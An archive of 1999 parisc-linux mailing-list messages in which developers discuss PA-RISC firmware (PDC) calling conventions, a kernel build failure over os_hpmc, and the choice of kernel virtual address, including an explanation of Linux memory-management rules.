Subject: Re: [parisc-linux] arch/parisc/kernel/realmode_setup.c Question
Date: Mon, 15 Nov 1999 19:31:46 -0500 (EST)
Lines: 18
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9911151931060.10590-100000@vodka.thepuffingroup.com>
References: <38309117.3707D5FB@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618631 27941 80.91.229.3 (22 Nov 2014 01:10:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:31 +0000 (UTC)
Cc: Ryan Bradetich <rbradetich@uswest.net>, parisc-linux@thepuffingroup.com
To: frowand@cup.hp.com
Original-X-From: adevries@thepuffingroup.com  Mon Nov 15 16:21:23 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA22161
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Nov 1999 16:21:23 -0700
Original-Received: (qmail 9129 invoked by uid 15267); 15 Nov 1999 23:22:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9122 invoked from network); 15 Nov 1999 23:22:57 -0000
Original-Received: from unknown (HELO vodka.thepuffingroup.com) (@216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 15 Nov 1999 23:22:57 -0000
Original-Received: from vodka.thepuffingroup.com (IDENT:adevries@vodka.thepuffingroup.com [192.168.1.2])
	by vodka.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id TAA10596;
	Mon, 15 Nov 1999 19:31:46 -0500
In-Reply-To: <38309117.3707D5FB@hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6395


On Mon, 15 Nov 1999, Frank Rowand wrote:
> This might not solve your problem, but it's worth checking out.  The
> procedure calling convention for PA 2.0 PDC is different than for 1.0.
> See http://thepuffingroup.com/parisc/documentation.html, pdc.pdf,
> p 2-8 defines the return status as a 64-bit, not 32 bit.  You might

However, we are running this in narrow mode, so we should be able to use
32 bit PDC.

> I don't know if your system has wide or narrow PDC - you have to call
> PDC_MODEL(Return Capabilities), and check bit 63 of caps (the field
> called OS64).

That's worth checking out.

- Alex


From - Thu Nov 08 21:11:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frank Rowand <frank_rowand@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] arch/parisc/kernel/realmode_setup.c Question
Date: Mon, 15 Nov 1999 15:34:55 -0800
Lines: 27
Approved: news@gmane.org
Message-ID: <3830989F.BA33EDC0@hp.com>
References: <Pine.LNX.4.10.9911151931060.10590-100000@vodka.thepuffingroup.com>
Reply-To: frowand@cup.hp.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618632 27944 80.91.229.3 (22 Nov 2014 01:10:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:32 +0000 (UTC)
Cc: frowand@cup.hp.com, Ryan Bradetich <rbradetich@uswest.net>,
        parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@thepuffingroup.com>
Original-X-From: frank_rowand@hp.com  Mon Nov 15 16:33:29 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA22581
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Nov 1999 16:33:28 -0700
Original-Received: (qmail 13877 invoked by uid 15267); 15 Nov 1999 23:34:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13863 invoked from network); 15 Nov 1999 23:34:59 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 15 Nov 1999 23:34:59 -0000
Original-Received: from xsvr4.cup.hp.com (xsvr4.cup.hp.com [15.0.68.169])
	by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id SAA21889;
	Mon, 15 Nov 1999 18:34:04 -0500 (EST)
Original-Received: from hp.com (localhost [127.0.0.1]) by xsvr4.cup.hp.com with ESMTP (8.7.6/8.7.3) id PAA07825; Mon, 15 Nov 1999 15:34:56 -0800 (PST)
Original-Sender: frowand@cup.hp.com
X-Mailer: Mozilla 4.05 [en] (X11; I; HP-UX B.10.20 9000/869)
Xref: news.gmane.org gmane.linux.ports.parisc:6396

Alex deVries wrote:
> 
> On Mon, 15 Nov 1999, Frank Rowand wrote:
> > This might not solve your problem, but it's worth checking out.  The
> > procedure calling convention for PA 2.0 PDC is different than for 1.0.
> > See http://thepuffingroup.com/parisc/documentation.html, pdc.pdf,
> > p 2-8 defines the return status as a 64-bit, not 32 bit.  You might
> 
> However, we are running this in narrow mode, so we should be able to use
> 32 bit PDC.


You don't get to choose.  The PDC is either 32 bit or 64 bit.  It's not
a question of what mode the OS is running in, but what the PDC was
compiled for.


> > I don't know if your system has wide or narrow PDC - you have to call
> > PDC_MODEL(Return Capabilities), and check bit 63 of caps (the field
> > called OS64).
> 
> That's worth checking out.
> 
> - Alex

-Frank


From - Thu Nov 08 21:11:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] arch/parisc/kernel/realmode_setup.c Question
Date: Mon, 15 Nov 1999 19:48:53 -0500 (EST)
Lines: 11
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9911151948070.10661-100000@vodka.thepuffingroup.com>
References: <3830989F.BA33EDC0@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618632 27947 80.91.229.3 (22 Nov 2014 01:10:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:32 +0000 (UTC)
Cc: Ryan Bradetich <rbradetich@uswest.net>, parisc-linux@thepuffingroup.com
To: frowand@cup.hp.com
Original-X-From: adevries@thepuffingroup.com  Mon Nov 15 16:38:46 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA22779
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Nov 1999 16:38:46 -0700
Original-Received: (qmail 16288 invoked by uid 15267); 15 Nov 1999 23:40:18 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16279 invoked from network); 15 Nov 1999 23:40:17 -0000
Original-Received: from unknown (HELO vodka.thepuffingroup.com) (@216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 15 Nov 1999 23:40:17 -0000
Original-Received: from vodka.thepuffingroup.com (IDENT:adevries@vodka.thepuffingroup.com [192.168.1.2])
	by vodka.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id TAA10669;
	Mon, 15 Nov 1999 19:48:53 -0500
In-Reply-To: <3830989F.BA33EDC0@hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6397


On Mon, 15 Nov 1999, Frank Rowand wrote:
> You don't get to choose.  The PDC is either 32 bit or 64 bit.  It's not
> a question of what mode the OS is running in, but what the PDC was
> compiled for.

Hm.  I'm pretty sure that a 32 bit version of HPUX has run on that box as
well, so wouldn't that mean that it'd have to be a 32 bit PDC?

- Alex


From - Thu Nov 08 21:11:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] problems with HPMC code in interruption.S
Date: Mon, 15 Nov 1999 19:53:27 -0500 (EST)
Lines: 15
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9911151952071.10661-100000@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618632 27949 80.91.229.3 (22 Nov 2014 01:10:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:32 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@thepuffingroup.com  Mon Nov 15 16:41:02 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA22954
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Nov 1999 16:41:02 -0700
Original-Received: (qmail 17118 invoked by uid 15267); 15 Nov 1999 23:42:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17105 invoked from network); 15 Nov 1999 23:42:35 -0000
Original-Received: from unknown (HELO vodka.thepuffingroup.com) (@216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 15 Nov 1999 23:42:35 -0000
Original-Received: from vodka.thepuffingroup.com (IDENT:adevries@vodka.thepuffingroup.com [192.168.1.2])
	by vodka.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id TAA10697
	for <parisc-linux@thepuffingroup.com>; Mon, 15 Nov 1999 19:53:27 -0500
Xref: news.gmane.org gmane.linux.ports.parisc:6398


Because of the incompleteness of the HPMC code in the CVS tree right now,
it looks like the kernel won't build because of os_hpmc problems.

Several people have mailed me about this, so just bear with us until
Philipp has the time to look at it closer, unless someone know an obvious
fix.

- Alex

-- 
Alex deVries <adevries@thepuffingroup.com>
Vice President Engineering
The Puffin Group


From - Thu Nov 08 21:11:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frank Rowand <frank_rowand@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] arch/parisc/kernel/realmode_setup.c Question
Date: Mon, 15 Nov 1999 15:42:29 -0800
Lines: 17
Approved: news@gmane.org
Message-ID: <38309A65.9CB3DFC4@hp.com>
References: <Pine.LNX.4.10.9911151948070.10661-100000@vodka.thepuffingroup.com>
Reply-To: frowand@cup.hp.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618633 27950 80.91.229.3 (22 Nov 2014 01:10:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:33 +0000 (UTC)
Cc: frowand@cup.hp.com, Ryan Bradetich <rbradetich@uswest.net>,
        parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@thepuffingroup.com>
Original-X-From: frank_rowand@hp.com  Mon Nov 15 16:41:03 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA23015
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Nov 1999 16:41:03 -0700
Original-Received: (qmail 17158 invoked by uid 15267); 15 Nov 1999 23:42:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17120 invoked from network); 15 Nov 1999 23:42:36 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 15 Nov 1999 23:42:36 -0000
Original-Received: from xsvr4.cup.hp.com (xsvr4.cup.hp.com [15.0.68.169])
	by palrel1.hp.com (Postfix) with ESMTP
	id 816C44E; Mon, 15 Nov 1999 15:42:35 -0800 (PST)
Original-Received: from hp.com (localhost [127.0.0.1]) by xsvr4.cup.hp.com with ESMTP (8.7.6/8.7.3) id PAA07983; Mon, 15 Nov 1999 15:42:29 -0800 (PST)
Original-Sender: frowand@cup.hp.com
X-Mailer: Mozilla 4.05 [en] (X11; I; HP-UX B.10.20 9000/869)
Xref: news.gmane.org gmane.linux.ports.parisc:6399

Alex deVries wrote:
> 
> On Mon, 15 Nov 1999, Frank Rowand wrote:
> > You don't get to choose.  The PDC is either 32 bit or 64 bit.  It's not
> > a question of what mode the OS is running in, but what the PDC was
> > compiled for.
> 
> Hm.  I'm pretty sure that a 32 bit version of HPUX has run on that box as
> well, so wouldn't that mean that it'd have to be a 32 bit PDC?
> 
> - Alex

Nope.  The OS has to figure out what type of PDC it is calling, and properly
marshall the arguments for the call.

-Frank


From - Thu Nov 08 21:11:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] depi?
Date: Mon, 15 Nov 1999 19:26:49 -0500
Organization: National Research Council of Canada
Lines: 17
Approved: news@gmane.org
Message-ID: <3830A4C6.C2CB788@nrc.ca>
References: <Pine.LNX.4.10.9911150307300.7996-100000@vodka.thepuffingroup.com> <199911150736.XAA14959@opus.allegro.com> <19991115092549.G30917@mathe.stud.uni-erlangen.de> <383093DE.A8B73CE4@hp.com>
Reply-To: dave.anglin@nrc.ca
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618633 27956 80.91.229.3 (22 Nov 2014 01:10:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:33 +0000 (UTC)
Cc: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>,
        parisc-linux@thepuffingroup.com,
        Alex deVries <adevries@thepuffingroup.com>
To: frowand@cup.hp.com
Original-X-From: dave.anglin@nrc.ca  Mon Nov 15 17:29:22 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id RAA24311
	for <parisc-linux@puffin.external.hp.com>; Mon, 15 Nov 1999 17:29:21 -0700
Original-Received: (qmail 3558 invoked by uid 15267); 16 Nov 1999 00:30:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3548 invoked from network); 16 Nov 1999 00:30:52 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 16 Nov 1999 00:30:52 -0000
Original-Received: from nrc.ca (slip09.cs.nrc.ca [132.246.240.109])
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) with ESMTP id TAA01397;
	Mon, 15 Nov 1999 19:27:20 -0500 (EST)
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6400

Frank Rowand wrote:

> This is just one of several recent messages dealing with the issues caused by
> locating the kernel at virtual address 0xc0000000 instead of 0x00000000.  I
> still don't understand why the kernel can't be at zero, even though several
> people have tried to explain it to me.  Can anyone provide a clear
> explanation?

I must admit I don't understand it either.  One consequence is that the kernel no
longer boots using the hpux ipl command without running som_relocate on the kernel.
This messes up the object file so debuggers will have to be specially modified for
this configuration.  It also means that virtual and physical addresses are different
for most of the kernel.  I think it was done to simplify the syscall interface.
However, maybe instead of different real and virtual code, the kernel should have
different syscall and real-virtual code.  I am not an expert but I think this is how
it is done with hpux.  It is linked at ~0 (0x11000 for 10.20).


From - Thu Nov 08 21:11:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philippe Benard <phi@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] depi?
Date: Tue, 16 Nov 1999 09:26:32 +0100
Organization: WTEC
Lines: 57
Approved: news@gmane.org
Message-ID: <38311538.30826FC7@hpfrcu03.france.hp.com>
References: <Pine.LNX.4.10.9911150307300.7996-100000@vodka.thepuffingroup.com> <199911150736.XAA14959@opus.allegro.com> <19991115092549.G30917@mathe.stud.uni-erlangen.de> <383093DE.A8B73CE4@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618633 27961 80.91.229.3 (22 Nov 2014 01:10:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:33 +0000 (UTC)
Cc: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>,
        parisc-linux@thepuffingroup.com,
        Alex deVries <adevries@thepuffingroup.com>
To: frowand@cup.hp.com
Original-X-From: phi@hpfrcu03.france.hp.com  Tue Nov 16 01:27:00 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id BAA27253
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Nov 1999 01:26:59 -0700
Original-Received: (qmail 4806 invoked by uid 15267); 16 Nov 1999 08:28:35 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4796 invoked from network); 16 Nov 1999 08:28:34 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 16 Nov 1999 08:28:34 -0000
Original-Received: from hpfrcu81.france.hp.com (hpfrcu81.france.hp.com [15.129.16.181])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 96F6CC05; Tue, 16 Nov 1999 03:28:33 -0500 (EST)
Original-Received: from hpfrcu03.france.hp.com (localhost [127.0.0.1])
	by hpfrcu81.france.hp.com (8.8.6 (PHNE_17190)/8.8.6) with ESMTP id JAA18591;
	Tue, 16 Nov 1999 09:26:32 +0100 (MET)
Original-Sender: phi@hpfrcu81.france.hp.com
X-Mailer: Mozilla 4.7 [en] (X11; I; HP-UX B.11.00 9000/785)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6401

Frank Rowand wrote:
> 
> 
> This is just one of several recent messages dealing with the issues caused by
> locating the kernel at virtual address 0xc0000000 instead of 0x00000000.  I
> still don't understand why the kernel can't be at zero, even though several
> people have tried to explain it to me.  Can anyone provide a clear
> explanation?
> 

I asked this question (and provided examples) 4 or 6 monthes ago. I never got
answered, I asked for kernel VAS description for 32 and 64 bits, and I asked
for user process VAS too and yet got no answer.

If I understood correctly, the kernel is located there because it is where it
is on PC.

Sounds like linux is not more portable than any other propriaitary OS since
confined to PC architecture, a port beeing a mimic of PC if the target arch
can do it.

I'm not an HP-PA architecture fan, not orthogonal enough, but the architecture
is what is is and IMHO, due to our cache design (+tlb) that is a virtual
cache, the OS run in virtual mode (most of the time) except sometime, or
except for a given set of data structures, for those exceptional code and
data, the equivalently mapped is the easiest and cleanest solution (again due
to hppa, not in absolute). I think getting away from equiv map, and moving the
kernel text far in the kernel VAS is a source of lot of problems. On the other
hand keeping equiv map mean kernel text in low phys mem addr to be runable on
tiny WS machine like a C3000 with few megs of main memory up to a 8 node
servers with 256 Gb of main memory. (oops kidding we are talking 712 16 Meg
here :-)

Now if linux design can't survive the kernel TEXT relocation to low addr we
definitly are in a dead lock. I mean since I got no answer about kernel VAS
description the few thing I see here doesn't looks like it will run on hppa2.0
in wide mode, then all this effort of what so called 'porting' has to be
redone again for pa2.0 (or abandoned in favor of IA64?). The number of PA2.0
out there goes up and up and being able to run wide on those machine sounds
ledgit.

All thise is pure ignorance from me, 'may be' the current linux design with
kernel at 0xc0000000 make sense in a WIDE kernel but it is unclear to me....

As i said in a previous mail we have two choice here, mimic closely the PC up
to the endianism for instance, to be able to grab as much stuff as possible
from the PC world but ultimatly we will not be able to run PC-linux
executable, then being that close doesn't looks that important. On the other
hand being as close as HPUX (and HP dependend stuff like PDC) could allow to
be able to dual boot vmunix/vmlinux, to run hpux a.out onto vmlinux to
laverage current hp software (if any) etc... being close to hp design is
somewhat having the kernel in low phys addr.

Not sure what I'm saying is completly valid, this is just feeling...

Phi


From - Thu Nov 08 21:11:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Strelow <ulrich_strelow@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] problems with HPMC code in interruption.S
Date: Tue, 16 Nov 1999 02:43:21 -0800 (PST)
Lines: 47
Approved: news@gmane.org
Message-ID: <19991116104321.17833.rocketmail@web504.yahoomail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618634 27978 80.91.229.3 (22 Nov 2014 01:10:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:34 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: ulrich_strelow@yahoo.com  Tue Nov 16 03:41:51 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id DAA27727
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Nov 1999 03:41:51 -0700
Original-Received: (qmail 31702 invoked by uid 15267); 16 Nov 1999 10:43:23 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31692 invoked from network); 16 Nov 1999 10:43:22 -0000
Original-Received: from web504.mail.yahoo.com (HELO web504.yahoomail.com) (128.11.68.71)
  by mailserv2.iuinc.com with SMTP; 16 Nov 1999 10:43:22 -0000
Original-Received: from [149.234.12.1] by web504.mail.yahoo.com; Tue, 16 Nov 1999 02:43:21 PST
Xref: news.gmane.org gmane.linux.ports.parisc:6402

I have had the same problem yesterday (unresolved
symbol os_hpmc). The simple solution is to include
hpmc.o in arch/parisc/kernel/Makefile.

Although this works, I must admit that I don't
understand the reason for this problem. I think that
the reference in realmode_setup.c is commented out by
if SETUP_HPMC which is set to 0...

Maybe someone else has an explantion for this.
Ulrich

--- Alex deVries <adevries@thepuffingroup.com> wrote:
> 
> Because of the incompleteness of the HPMC code in
> the CVS tree right now,
> it looks like the kernel won't build because of
> os_hpmc problems.
> 
> Several people have mailed me about this, so just
> bear with us until
> Philipp has the time to look at it closer, unless
> someone know an obvious
> fix.
> 
> - Alex
> 
> -- 
> Alex deVries <adevries@thepuffingroup.com>
> Vice President Engineering
> The Puffin Group
> 
>
---------------------------------------------------------------------------
> To unsubscribe: send e-mail to
> parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 
> 


=====

__________________________________________________
Do You Yahoo!?
Bid and sell for free at http://auctions.yahoo.com


From - Thu Nov 08 21:11:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] depi?
Date: Tue, 16 Nov 1999 12:20:32 +0000 (GMT)
Lines: 96
Approved: news@gmane.org
Message-ID: <E11nhb8-0002Zh-00@the-village.bc.nu>
References: <38311538.30826FC7@hpfrcu03.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text
X-Trace: ger.gmane.org 1416618634 27983 80.91.229.3 (22 Nov 2014 01:10:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:34 +0000 (UTC)
Cc: frowand@cup.hp.com, Philipp.H.Rumpf@mathe.stud.uni-erlangen.de,
        parisc-linux@thepuffingroup.com, adevries@thepuffingroup.com
To: phi@hpfrcu03.france.hp.com (Philippe Benard)
Original-X-From: alan@lxorguk.ukuu.org.uk  Tue Nov 16 04:32:28 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id EAA28441
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Nov 1999 04:32:27 -0700
Original-Received: (qmail 9988 invoked by uid 15267); 16 Nov 1999 11:34:02 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9978 invoked from network); 16 Nov 1999 11:34:00 -0000
Original-Received: from lightning.swansea.uk.linux.org (HELO the-village.bc.nu) (194.168.151.1)
  by mailserv2.iuinc.com with SMTP; 16 Nov 1999 11:34:00 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 11nhb8-0002Zh-00; Tue, 16 Nov 1999 12:20:34 +0000
In-Reply-To: <38311538.30826FC7@hpfrcu03.france.hp.com> from "Philippe Benard" at Nov 16, 99 09:26:32 am
Xref: news.gmane.org gmane.linux.ports.parisc:6403

> If I understood correctly, the kernel is located there because it is where it
> is on PC.

Thats why someone pulled that number out of a hat. You can pull any other
page aligned number out of a hat and that will be fine too.

> Sounds like linux is not more portable than any other propriaitary OS since
> confined to PC architecture, a port beeing a mimic of PC if the target arch
> can do it.

Check the mm code. We don't care where you put the kernel. The rules we go
by are simple

1.	The kernel must be able to access all of the current tasks user space
	efficiently. This is done via macros/functions/inlines

2.	The kernel must be able to access all physical ram and also
	mappings of MMIO space. The mappings can be 1:1 - for example on the
	ultrasparc we use the override bits for this. I/O space maps are
	accessed via macros/functions. If those functions resolve to no
	actual extra code this is good.

3.	Access to other tasks virtual address space has to be possible. It can
	be slow and suck however as its main use is ptrace().

The mappings we use vary. M68K for example maps the kernel about 3.5Gig up
and uses space registers to access user space. The x86 because of the weak
page table flipping facilities keeps both user and kernel in a single map. That
makes for nice fast x86 code. That is x86 specific.

Alan

X-From-Line: hppa-linux@thepuffingroup.com  Wed Mar 10 14:48:43 1999
Return-Path: <hppa-linux@thepuffingroup.com>
Received: from merlin.pcj.primenet.com (pcj@merlin.pcj.primenet.com [192.168.111.10])
	by merlin.pcj.primenet.com (8.8.7/8.8.7) with ESMTP id OAA03111
	for <pcj@merlin.pcj.primenet.com>; Wed, 10 Mar 1999 14:48:43 -0800
Resent-From: hppa-linux@thepuffingroup.com
Received: from pop.primenet.com
	by merlin.pcj.primenet.com (fetchmail-4.4.7 POP3)
	for <pcj/merlin.pcj.primenet.com> (single-drop); Wed, 10 Mar 1999 14:48:43 PST
Received: from smtp04.primenet.com (daemon@smtp04.primenet.com [206.165.6.134])
	by primenet.com (8.8.8/8.8.5) with ESMTP id OAA21137
	for <pcj@smtp-local.primenet.com>; Mon, 8 Mar 1999 14:04:30 -0700 (MST)
Received: (from daemon@localhost)
	by smtp04.primenet.com (8.8.8/8.8.8) id OAA16596
	for <pcj@primenet.com>; Mon, 8 Mar 1999 14:44:19 -0700 (MST)
Received: from SOD.RES.CMU.EDU(128.2.91.30)
 via SMTP by smtp04.primenet.com, id smtpd016565; Mon Mar  8 14:44:17 1999
Received: (from listserv@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id PAA11599;
	Mon, 8 Mar 1999 15:17:11 -0500
Resent-Date: Mon, 8 Mar 1999 15:17:11 -0500
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
X-Authentication-Warning: devserv.devel.redhat.com: adevries owned process doing -bs
Date: Mon, 8 Mar 1999 15:16:55 -0500 (EST)
From: Alex deVries <adevries@redhat.com>
X-Sender: adevries@devserv.devel.redhat.com
To: hppa-linux@thepuffingroup.com
Subject: Re: [hppa-linux] source for the boot loader?
In-Reply-To: <199903081934.NAA07421@dukat.upl.cs.wisc.edu>
Message-ID: <Pine.LNX.3.96.990308151631.5280h-100000@devserv.devel.redhat.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Resent-Message-ID: <"EAe251.0.5r2.613vs"@sod.res.cmu.edu>
Reply-To: hppa-linux@thepuffingroup.com
X-Mailing-List: <hppa-linux@thepuffingroup.com> archive/latest/148
X-Loop: hppa-linux@thepuffingroup.com
Precedence: list
Resent-Sender: hppa-linux-request@thepuffingroup.com
X-UIDL: 7bb0b272f1b715d6d2e17bb2b158b51a
Status: RO
Lines: 20
Xref: merlin.pcj.primenet.com palinux:119


On Mon, 8 Mar 1999, Erik Paulson wrote:
> 	Maybe I just missed it, but is the source for the bootloader out 
> there anywhere? I'd like to start looking at the code....

I'll be releasing the source for the bootloader today.

- Alex

-- 
Alex deVries <puffin@redhat.com>     
Red Hat Contrib Net maintainer          
Ottawa, Canada  
HPPA/Linux Porting Team


-------------------------------------------------------------------------
To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.



From - Thu Nov 08 21:11:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philippe Benard <phi@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] depi?
Date: Tue, 16 Nov 1999 12:53:09 +0100
Organization: WTEC
Lines: 40
Approved: news@gmane.org
